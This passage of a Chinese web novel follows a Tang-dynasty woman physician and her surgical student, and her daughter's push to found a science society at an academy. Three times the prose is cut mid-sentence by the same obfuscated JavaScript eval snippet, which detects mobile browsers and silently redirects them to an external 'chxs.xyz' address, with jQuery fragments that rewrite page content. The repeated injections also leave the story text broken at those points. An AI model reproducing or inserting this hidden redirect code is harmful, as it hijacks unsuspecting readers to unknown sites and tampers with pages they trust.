不过,命运多舛。她随父母回到家乡,几年后,父亲被盗贼所伤,不幸离世,母亲独自抚养她与兄长长大。她不忍母亲辛苦,最终答应本地一户豪强的提亲,嫁为人妇。 那家里风气保守,一开始尚能和谐相处,但不知何时她小时候被绑走以及长了“尾巴”的事情被传了出去,从此之后那家人开始对莲娘横挑鼻子竖挑眼,轻视她磋磨她污蔑她。莲娘不堪其辱差点想要自缢结束生命,好在兄长和母亲知晓后拼尽了全力将她救了出来,最终成功和离。 和离之后,莲娘终日郁郁寡欢,是母亲想起她当时曾经说想要当外科大夫,加上家中经济情况有所好转,便鼓励她来长安考太医院。莲娘有些简单的医学基础,又考了两年才成功的考上。 徐清麦还记得她,加上莲娘手稳心细,于是便选了她进入到了外科系,而且还成为了自己的学生。在相同的条件下,她总是更愿意选择女学生。在那一届之后,徐清麦不再收学生,于是莲娘便成了她的关门弟子。 从医学院毕业后,莲娘就留在了悲田院。现在悲田院的医师和太医院的医师已经完全分开了,但职级还是照旧,先是医工然后是医师,再是资深医师,最后才是博士。莲娘毕业后自动获得了医工的称号,工作几年后便通过了医师的考核,如今正在朝资深医师进发。 她工作努力而且细心,手也稳,如今俨然已经是继大师姐刘若贤以及几位前辈之后,外科界的又一女子名医,冉冉上升的新星。 听到莲娘有搞不定的手术,徐清麦自然就明白肯定这手术相对复杂,欣然允诺:“你先把医案拿过来我看一下,安排的什么时候?” 莲娘将手术时间告知,徐清麦点了点头:“没问题,我那日有空。” 她现在已经不像从前一样活跃在手术前线了,这二十年来培养的手术人才已经足以让她大部分时间退居二线。如今的徐清麦为太医寺卿,除了一些行政事务之外,主要负责帝后和太子的身体情况,连勋贵们都极少能请动了她了。反倒是在义诊以及悲田院中,还能时不时看到她出诊。 听得老师答应,唐莲娘这才放心下来。 徐清麦顺势关心了一下她的感情状况:“你的婚期可已定下?若是在明年,我可能就没办法出席了。” 唐莲娘顿时来了精神:“老师要去岭南?” “是,要去广州与泉州一带。”徐清麦脸上泛起笑容,“那边刚压下了几场时疫,正好去看看他们做的是不是如公文上所说。而且,听说那边最近来了许多异域的新东西,尤其是很多药材,正好去看一看。” 太医寺每年都会派巡察使去视察各地的医署情况,这次徐清麦决定自己带队,先去江南再去岭南。 唐莲娘立刻道:“我也想去!” 徐清麦:“你的婚期?” 唐莲娘这才想起刚才老师似乎一开始问的是这事,立刻道:“没问题,我们定在今年。” 虽然她这次已经是二婚,并不会大宴宾客,但若是连老师都不来出席那也太遗憾了。 徐清麦看她笃定的神情,嘴角含笑。 她的这几个女学生,乃至身边的一些女性,婚姻观念各为不同。刘若贤,如今已经是妇产科的负责人,并且为太医寺的太医博士,或许几年后就能成功升任太医寺丞,她选择了单身甚至为此还成为了女冠。而唐莲娘,虽然经历过一次失败的婚姻,但依然选择第二次踏入婚姻。 说起来,悲田院的这些娘子们,不管是医师也好护士也罢,那些在世人看来离经叛道的尚且不论,其余的在婚姻方面倒是大部分都还不错。如唐莲娘,她的新夫家是朝中三品大员的次子,不管是家世还是人品都比她的前夫要高多了。除了唐莲娘与现在的未婚夫两情相悦之外,未婚夫的家庭也是看重其能自立,性格果断,正适合不用继承家业的次子——说不定以后夫妻俩还能另挣下一份家业。 很多家族都是这样想的,族中嫡长子的妻位往往是贵女和强强联姻,不会考虑如唐莲娘这样身份的娘子。但若是家中有次子,他们还是很愿意迎娶进来一位有学识有能力的儿媳妇,家世背景在这个时候便成为了其次。 阿软最终嫁给了司农寺的一位吏员,如今已经是悲田院中工作年限最长的护士长。她的同僚,郭敏君,则嫁入了商人之家,但她也选择了继续工作,只是在几年前因身体原因选择了离职,回家休养,享受家庭的温情。 赵阿眉,并没有再找夫婿,而是将孩子抚养长大,并且在长安城成家立业。阿莞,那个从江宁县善堂里走出来的无父无母的小孤女,如今也成为了赵阿眉的得力助手,掌管着好几个工坊和铺子。 徐清麦无意于指导她们的人生,无论是要结婚还是不要结婚,她都觉得可以,只要是自己愿意的那都可以去尝试,这本就是女人应得的权利。 她只会鼓励这些娘子们不要放弃自己赚钱和自立,毕竟,拥有随时后悔的能力这才是关键。 许许多多徐清麦曾接触过的娘子们,也都拥有了各自的归宿,这也有赖于这些年一些传统观念正在逐步发生变化,大家对于女子出来做工已经不是那么的反对。所以虽然现在的女子地位还不能和后世相比,保守的风气在很多方面和很多地方依然存在,但她对此保持着乐观态度。 现今,各地的工坊兴起,尤其是纺织行业因为工具的大改进简直发生了大爆炸式的发展,许多州县的劳动力都紧缺,在这个时候让娘子们困于后院?恐怕当家的男人们都不能答应。 谁会真正的和钱过不去呢? 于是,在各州县,尤其是长安洛阳这样的繁华之地,以及产棉和蚕丝的江南、产羊毛的原本风气就更开放的边镇之地,女子出来做工比比皆是。 这也是为什么阿念一来长安就轻松接受了出门做工的建议。她所生长的庐陵虽然相对保守,但总有行商带来南来北往的消息,一些事情也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14643493|156064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如春天寒冰下的河水,正在悄然发生着变化。 阿念在娘亲要进行手术的前夕就停止了自己的手工活。她这才知道,原来手术前也是需要做很多准备工作的,必须得要自己时刻盯着。而且,阿娘会害怕,她陪着说说话会好很多。 她也是第一次见到了徐清麦。 当时这位徐寺卿带了人来查房,听旁边的护工讲,这样的大查房一个月才会有一次。负责这个院子的医师不论是年轻还是年长,都跟在她的身后,表情十分谦卑。 阿念听不懂他们所说的话,但看上去似乎是徐寺卿在询问病情并且考校身后的人。有的人回答出了问题,欢欣雀跃,有的人支支吾吾,额头上的汗都要滴下来了。 阿念看得有趣,又是敬畏又是羡慕。 她是戴家的远亲,往日也曾见过一些贵人,其中有些贵夫人也都十分威严,所到之处,奴仆如云,周围的人都不敢大声说话。但徐寺卿的威严却似乎与她们不同,她的表情并不严肃,甚至态度称得上是随和——大唐的庶民百姓见到官员是要下拜的,若是不拜则会受到律法的惩罚,太医们当然也属于官员。但是在悲田院内,病患们可以不用遵守这一条律法,听说这就是徐寺卿争取来的。 阿念很久之后才明白了徐寺卿的威严来自于哪里,并不是因为她的勋贵身份,也不是因为她的官位和权力,而是因为她过往所获得的成就以及阅历,还是她所掌握着的知识赋予她的睿智。 让人从骨子里产生了崇敬。 当阿念知道徐清麦也会介入到阿娘的手术中时激动得不知道该说什么好,原本忐忑的心情一下子就放了下来。 旁边的病患也羡慕她们的好运气:“这可是徐寺卿!放心吧,你阿娘肯定能很快就好。” 徐寺卿可是传闻中的人物,如今只为帝后看病。 这场手术很漫长,超过了一开始医师的叮嘱。 阿念在外面等候的时候坐立难安,她一开始在心里喃喃的请求菩萨保佑,但后来又恍惚觉得,菩萨似乎并没有在这件事上发挥出多大的作用,于是偷偷的在心里将菩萨替换成了徐寺卿。 “徐医仙保佑,让我娘顺顺利利度过难关......” 手术室里。 徐清麦挺了挺腰:“关腹吧。” 她满意的视察了一下手术台上患者的情况,这一场手术虽然自己全场都在,但实际只起到了提点的作用,主刀还是唐莲娘。 “做得不错。” 唐莲娘听到后眼睛里露出笑意,整个人都轻松了起来,连腰部的不适都减轻了很多:“那是有老师在,所以我压力才没那么大。” “少拍马屁。”徐清麦笑道,“过后记得写篇稿子,这手术还是很有些难度的,可以发到期刊上,把里面的难点写清楚,也能给其他人涨涨经验。” 唐莲娘惊喜地抬起头,连忙应下:“行!” 现在能在期刊上发稿子对于职级的考核可是大有好处的。 手术室外。 祈祷了半天的阿念终于听到了手术室门打开的声音。 “吱呀——” 9.周天涯 贞观十一年春,周天涯随着回京述职的父亲周自衡一起回到了阔别已久的长安城。 “怎么就这么高了?”柳氏看着几年没见的儿子倒没啥,反正这儿子也不怎么听话,但看到几年没见的孙女却惊喜极了,毕竟,孙女嘴甜又活泼,没人不喜欢。 “也黑了!”柳氏狠狠剜了周自衡一眼,“你阿耶也是,一个小娘子怎么能晒得那么黑!” 看看长安城里的小娘子们,哪个不是白白嫩嫩的?刚才看到周天涯的时候,柳氏差点没昏厥过去,自己玉雪可爱的孙女哪去了? 周自衡微笑不语,显然对自己母亲的埋怨不以为然。他知道柳氏的意思,无非是黑了后不符合现在的主流审美担心不好议亲罢了,之前就曾写信来提过这件事,他一直没回。 “岭南日头毒,黑一点也是在所难免。”周天涯笑嘻嘻的挽起柳氏的手:“不过,祖母放心,我本身肤白,只需捂一个冬天就能白回来。” 柳氏顿时觉得还是孙女更可人,忍不住又瞪了一眼自家儿子。 “阿娘真的没来接我啊?”周天涯有些失望的看了看周围,没有看到徐清麦。 柳氏忙道:“你阿娘前几天就奉命出城去了,说是今天尽力赶回来,这你可别怨她。” 周自衡饶有兴味地挑了挑眉。如今他母亲柳氏倒是与徐清麦的关系很不错了,还会在周天涯的面前维护她。他大概知道其中的关窍,除了自己和夏妈妈在其中使的力之外,还有就是徐清麦这些年在官场上的一路上升以及结交下来的巨大人脉实在是给柳氏带来了极大的面子。别人看在自己和徐清麦的份上,即便是品级高于她的一些国公夫人和世家妇,都会对她和颜悦色,热情有加。 柳氏被夏妈妈日常提点,知道这些都是儿子儿媳给她挣来的,也知道儿子儿媳如今是极有主见和脾气的,自己最好是不要摆长辈身份。她想通了,大家便能和睦相处了,多年下来,倒是真有了些家人模样。 另一边,周自衡也对女儿道:“前几日在驿站不就收到了阿娘的信吗?” 周天涯不开心地撅了撅嘴,这不是还抱着一丝幻想吗?而且,她一年多都没见到阿娘了,很是想念。不过,她的不开心来得快也去得快,知道很快就能见到阿娘了,一下子又高兴起来。 一行人很快回到长安城。 周天涯离开长安已经有好几年,如今回来竟然也生出了许多的新鲜感。尤其是当她看到守门的兵卒和小吏听闻是周家十三郎君回来后脸上流露出了欣喜与尊敬的表情时,更是油然而生出一种自豪感。 她的父亲,她的母亲,都是了不得的人呢。 父女俩没有先回布政坊自家宅子而是去了兴道坊周家吃了一顿接风宴。 周家现在的形势十分明朗,大房自前几年周礼退下后便已势微,周自衡这一辈的堂兄弟里面也就一两个出仕的且品级都不高,自然他们也就失去了话语权,现在与二房相聚也都沉默了不少。二房则主要是靠周自衡与徐清麦,其他人也都只是混了个出身。但不得不说,因为有周徐二人的管束和监督,二房的人开始变得务实踏实也了许多,与之前的纨绔子弟做派全然不同。 周自衡和徐清麦如今都有爵位在身,且手握实权,又受陛下宠信,自然也就成为了周家的主心骨和话事人。 如今的接风宴上,酸言酸语不再出现,大家其乐融融,欢声笑语。 周天涯和自己的堂姐妹们许久未见,十分兴奋。不过周自衡很敏锐的注意到不一会儿之后,女儿的情绪就变得有些低沉下来。 后来回布政坊的马车上,他问周天涯是何故。 周天涯趴在车窗上,颇为老成的叹了口气:“阿耶,我都觉得我有些不认识二姐姐三姐姐了......”她的眼神中有些迷茫,还有些复杂的情绪,“我和她们讲这几年我在岭南的经历,她们好像并不是很感兴趣,只是和我说哪家的郎君长得更俊俏,更受贵女们的欢迎......” 还有哪家的首饰做得更精美,哪家的胭脂最鲜妍,自己出嫁时能有多少嫁妆等等。 周天涯原本还听得津津有味,不过在她们为到底谁才是长安城第一美男子争论了大半个时辰之后,她就变得有些索然无味起来。 周自衡听了小娘子们的话题,忍不住笑出了声。 周天涯不满地瞪了自家父亲一眼,赶紧道:“阿耶,你可别取笑别人,更不准说出去!” “当然,当然。小娘子们喜爱俊俏郎君本也是理所当然。不过,”周自衡微笑问:“天涯,你可是看不起你的堂姐妹们,觉得她们视野窄小只知眼前一亩三分地之事?” 周天涯慌忙摇头:“自然没有看不起,只是觉得......”她有些苦恼,想了一下之后才能精准形容出自己的感受,“只是觉得有些遗憾。堂姐和堂妹们为什么就不能像堂兄堂弟一样,可以读书写字可以入朝为官,甚至可以周游天下呢?” 她清楚的记得,和自己关系最好的那位小姑姑,她们曾经一起秉烛夜谈,聊着外面的世界,洛阳、江南、边塞甚至西域诸国,还有那遥远的美洲。 可现在,小姑姑眼里的那种光芒却消失了。她成为了一个被众人交口称赞的淑女,但周天涯却只觉得她陌生极了。 “而且,她读了致真学院的初级学部之后,祖母便让她退学了。”周天涯皱起眉。 周自衡颔首:“这事我知道,你祖父与祖母正在为她相看人家。” 如今的女孩子们虽然成婚年龄推迟了,但是往往十三四岁也会进入到相看人家然后定下亲事的阶段。 他示意周天涯看向两侧。 此时他们骑着的马匹正行走在朱雀大街上。前两年,他与几位朝臣联合上奏,希望适当放开宵禁,让老百姓们生活更自由也能更好的发展经济,陛下与几位宰相们都答应了,如今的长安城在每月月中会放开五天的宵禁。此刻的朱雀大街上,有不少人正在行走,还有小摊贩们,其中偶尔也能看到几位结伴以及带着奴仆的娘子们。 “天涯,你要知道,你虽是女子,但我与你母亲是纯然按照培养一位郎君的标准来培养你的。”周自衡缓缓道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783834|156064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “甚至可以说,在这天下即便是大部分的郎君,大部分的世家子都不会如你一样从小就跟着父母一起走南闯北,看过这偌大的天地。” 周天涯点点头:“我知道,阿娘说过给我取名为天涯就是希望我能够自由自在的行走天涯。” 她以前觉得自己的名字并不合古礼中“雅”的标准,但是现在她却以自己的名字为傲。 “可天底下那么多的小娘子,能够读书识字的却只是少数,而能够和你们一样进入到学院读书的更是寥寥无几。”周自衡声音温和。 周天涯忍不住又叹了口气:“我知道的,阿耶。” 她并不是不知人间疾苦,跟着父亲去巡视的时候见过了无数普通百姓以及贫民的生活,深知大多数女子的困境。想到这里,她忍不住向周自衡靠了过去,用自己的头蹭了蹭了他的脸,撒娇道: “我真是这个天下最幸福的小娘子!” 连公主都比不过她,她们得在宫中待着不能出门呢。 周自衡哈哈一笑,使劲揉了揉女儿的头:“你也是这个天下最棒的小娘子!我是这个天下最幸福的阿耶!” 两个人嘿嘿直笑,直到一个熟悉的声音传来: “都到家了还不赶紧下来?还在这儿傻笑干嘛?” 周天涯转头看过去,这才发现穿着锦缎披风的徐清麦正站在不远处含笑看着自己。她一个跃身从马上翻下来,看得徐清麦心惊胆战,然后立刻跑过去抱住了她。 “阿娘,我好想你呀!” 徐清麦手指点在她的鼻尖上,佯装生气:“那上次让你和阿娘一起回来你却不肯,在外面玩疯了吧?” 周天涯抱着她的腰,一个劲的傻笑。 徐清麦和女儿亲昵完,这才抬头看向周自衡,眼里流露出笑意:“回来了。” 周自衡回望过去,温柔道:“回来了。” 一家人重逢加上又是远行归来,自然是各种欢欣喜悦。在终于梳洗以及平静下来之后,周自衡这才又转到了刚才和女儿还没结束的话题: “你小姑姑那儿,我倒是可以和你祖母说说,不用急着定亲,或者也可以一边定亲一边继续回致真书院去念书。不过,你其他的堂姐妹们,阿耶却是没办法了。” 她们有父母在,自己这个堂叔却是不好插手的,只能提点几句。 周天涯眼睛一亮,欢呼起来:“太好了!小姑姑一定很高兴!” 徐清麦提醒他们:“你们先问过她自己的意愿,可别好心办坏事。” 周天涯忙不迭地点头。 又和父母说了一会儿话,周天涯毕竟还是个十二岁的孩子,兴奋过后涌上来的便是长途旅行所带来的疲惫,坐着都已经如小鸡啄米般不停点头了。徐清麦看着好笑,忙让薛嫂子与侍女安排她回自己房间去睡觉。 待到女儿走后,夫妻俩自然是各种温存。 周自衡也提起来柳氏在饭后找他聊的事,问她:“母亲可在你面前提起过?” “你说过继的事情?”徐清麦挑起眉,“自然是说过的。” 10.周天涯 徐清麦其实很能理解柳氏的心情和想法。毕竟在这个时代,家里要是没有男性子嗣,那便被所有人视为绝后,而不孝有三,无后为大。这些年其实不单单是柳氏和自己的亲娘,就连皇帝皇后以及一些重臣长辈也都关切过此事。 但她和周自衡早就约定好,对此也有了一套说辞。徐清麦也并不想让周自衡一人背上“身体不行”的流言,于是便改为了“她与周自衡都在去江南的途中受了伤,冰天雪地泡在水里,所以两人都不太适合再要孩子”。于是,来自于长辈们的关切立刻就都消散了,只是有段时间,看向他们的目光中总是带着点怜悯。 而柳氏想要过继,在这个时代也是十分常见的。 但,常见不代表徐清麦会接受,她当时笑了笑只说自己与周自衡并无打算,让她不妨等儿子回来后再问问他。然后,接下来一个月她都没有再去布政坊。柳氏当然知道她生气了,从此之后也再没有说过这话。 听了后,周自衡道:“你放心,日后她不会再拿这件事来烦你了。” 他今日直接对柳氏说了过继一事以后不要再提,他这辈子只可能有周天涯这么一个孩子。 “可你也要替天涯着想!”柳氏恼怒道,她又叹口气:“天涯始终是要嫁人的,你和四娘尚在人世时,别人自然会对她以礼相待。可你和四娘不在后,到时候她在娘家连个为她撑腰的亲兄弟都没有!” 周自衡冷笑一声:“如今我提携侄子侄女,若是他们连到时候替天涯出头都做不到,那我还是趁早收手罢。” 柳氏:“这堂兄弟和亲兄弟始终是不同的......” 周自衡打断她:“再说了,为什么天涯就一定要出嫁?” 柳氏语塞:“难不成你还想要为她招赘?” 招赘也是一条路,但赘婿向来被人鄙薄,但凡是有点才能和家世的郎君都不会选择这条路。 周自衡却不以为然:“普通豪富人家的赘婿自然如此,但咱么这样的人家,找个家世清白、人品靠得住的却并不是什么难事。再说了,只要是我女儿喜欢,就算他才能平平又如何?” 招赘的家庭,女婿太能干了反倒不是什么好事。 “只要天涯喜欢,就算是她不嫁也没什么。”周自衡看向母亲,颇有深意道,“您看看如今,再想想十年前的情形,那时候可有女子出仕为官?说不定十年后,连女子也可以袭爵了!” 他的女儿,即便是招赘,也绝不可能用全家财力和人脉为一个男人铺路。有了通天大道,自己走不行吗? 也只有自己走,才是最牢靠的。 所以,周天涯可以不嫁,也可以招赘,甚至可以去父留子,只要她喜欢。但有一点他明确对周天涯说过,那就是永远不要成为只是靠父靠夫靠子而活着的人。 柳氏听了后半晌没有说话,她一方面觉得这样与自己生来就接受的教育以及现状不符,但一方面又隐隐觉得儿子说得可能是对的。纠结了一番之后柳氏决定按照这些年的行事原则来执行,那就是遇事不决就听儿子的。毕竟,她的儿子能坐上如今的位置靠的都是他自己。 “或许,你说得对......”她叹了口气,自此再也不提这一茬。 周自衡对徐清麦说完这些后,轻哼了一声:“我大概知道是谁在母亲面前嚼舌根,放心,这些事情我会处理,你不用再管。” 徐清麦乐得如此。 ...... 周天涯在家休息了几日,跟着父亲母亲去拜访了一些亲长之后便开始准备继续回致真书院上学了。 致真书院分为初级学部和高级学部,即便是从致真的初级学部结业后再进入到高级学部也是需要重新再经过选拔考试的,更何况当时周天涯为了跟随父母去岭南并没有从初级学部结业。纵然她的母亲是致真书院的开创者之一,她也依然要通过选拔考试才能进入到高级学部就读。 选拔考试也非常严格,除了基础的经史与算学是必考之外,还有科学以及骑马、诗词、画艺与乐科等等不同的学科,必须要在后者之中选择其二来作为副考项目。 周天涯对此当然是毫无畏惧的,她也以十分优异的成绩通过了考试,进入到了致真书院就读高级学部。 她虽然离开长安有好几年,但性格开朗而且家中父母好友众多,与许多在致真书院的小娘子本就是一起长大的好朋友和同学,因此不出几日便与大家又重新熟悉了起来,在书院内每日都过得不亦乐乎,恨不得能不回来。 不过,毕竟是离开了几年,周天涯也发现了一些不同之处,遇到了那么一点点小麻烦。 “那崔十娘真是烦人,不管我说什么她都非得要挑刺。”周天涯回来后向徐清麦抱怨道,“感觉她无时不刻的在盯着我,她怎么就那么闲呢? “我说要成立科学社,她不加入也就算了,可偏偏要说女子加入科学社也无用。我说实践课不应该囿于学院内,也应该去外面州县走一走,她便说那些乡下地方又脏又不安全,学不到什么东西!” 周天涯忿忿不平。 致真学院在徐清麦的提倡下,有着成立社团的传统。学生们自愿成立了诗社、画社和乐舞社以及马球社等等,周天涯这次找了一堆同好想要成立科学社,也是在学院的规则之内,但是需要三分之二的老师们投票赞成,并且有足够数量的学生愿意加入才行。崔十娘就是在制造舆论声浪让学生们都不加入科学社。 徐清麦戳了一下女儿鼓鼓的脸颊,然后收获了一枚滚到自己怀里撒娇的大团子。 “那崔十娘我知道,”她摸了摸周天涯的头发,“她的父亲与我还有你的父亲是同僚,政见向来保守,与我们向来就不和......” 致真书院内大部分都是勋贵以及世家女子,谁说朝堂上的事情不影响小孩子呢?这样出身的小孩,对于时局以及权力反而会更加的敏感。虽然她和平阳长公主等人已经尽力在减轻外界 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14812140|156064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对书院内的影响,但并不可能完全隔绝。 周天涯撇了撇嘴。 徐清麦问:“那你就打算放弃了?” “怎么可能!”周天涯一掌拍在桌子上,颇有豪气,扬起下巴道:“她不希望我成功成立新社,我就知难而退,那岂不是更如了她的愿?阿娘,你看着吧,我偏要把科学社成立起来!而且还要让它成为致真书院的第一社团......算了,只要能排在前五就好。” 毕竟,诗社和乐舞社这些的影响力实在是太大了,甚至已经不仅限于书院内了。 徐清麦噗嗤一下:“行,有目标但又没有好高骛远,阿娘看好你!” 周天涯有了娘亲的鼓励,雄赳赳气昂昂的在书院里拉起了票。老师们乐见其成,而在她的鼓动和不断劝说下,也有一批对科学感兴趣的学生也逐渐加入了进来,就算是不感兴趣的人看在她是周天涯的份上也愿意来凑个趣。就这样,成立科学社所需要的名额很快就满了。 崔十娘和她的支持者们冷眼看着周天涯正在劝说一位小官的女儿也加入到科学社里。 崔十娘走过去,冷笑一声:“惠娘,你可别她这张巧嘴给骗了。加入科学社有什么好的?你以后嫁人生子难道还需要知道世界是方的还是圆的,纺织机是如何运转的吗?” 周天涯回过头去,哼一声:“照你这么说,那经史和诗画乐舞也不需要学咯?” “经史和诗画怎可与这些旁门之道相提并论?”崔十娘昂起头,“经史与诗画都乃令人明智并陶冶情操的高雅学科,我等身为士族,自然需要精研。” 可那科学......实在是无趣又古怪得很,甚至很多还需要和那些匠人器械打交道,非高贵士族所为。 周天涯丝毫不相让:“我听闻如今陛下与诸位相公正在探讨将科学加入到科举之中,你的意思是陛下与诸位相公都是粗俗且没有远见之人?” 崔十娘听她这么讲顿时就慌乱了一瞬。可恶!她还不知道这件事...... 被两人唇枪舌剑吸引来的小娘子们越来越多。 崔十娘显然也不是吃素的,立刻就冷静了下来,为自己的话做辩解:“我可从没说过这样的话。况且,即便是科举中加入了科学,那也是郎君们的事,和我们这些女子有何关系?” “怎么就没有关系?”周天涯向前一步,虽则只有十三岁但眼神已然犀利无比,“如今朝廷亦有女官,为何郎君们学得,我们就学不得?” 崔十娘看她的样子反倒淡定了下来,拂了拂自己的衣袖:“争强好胜非淑女所为,自古以来,女子就应柔顺。为何非要去官场和外面与郎君们相争?” 听到她这话,围观的一些小娘子也忍不住频频点头。 有那心直口快的立刻道:“十娘所言极是。既可以过舒适闲散的富贵日子,为何要去外头与郎君们相争?” 贵夫人的日子又安逸又舒适,为何非要去自己打拼?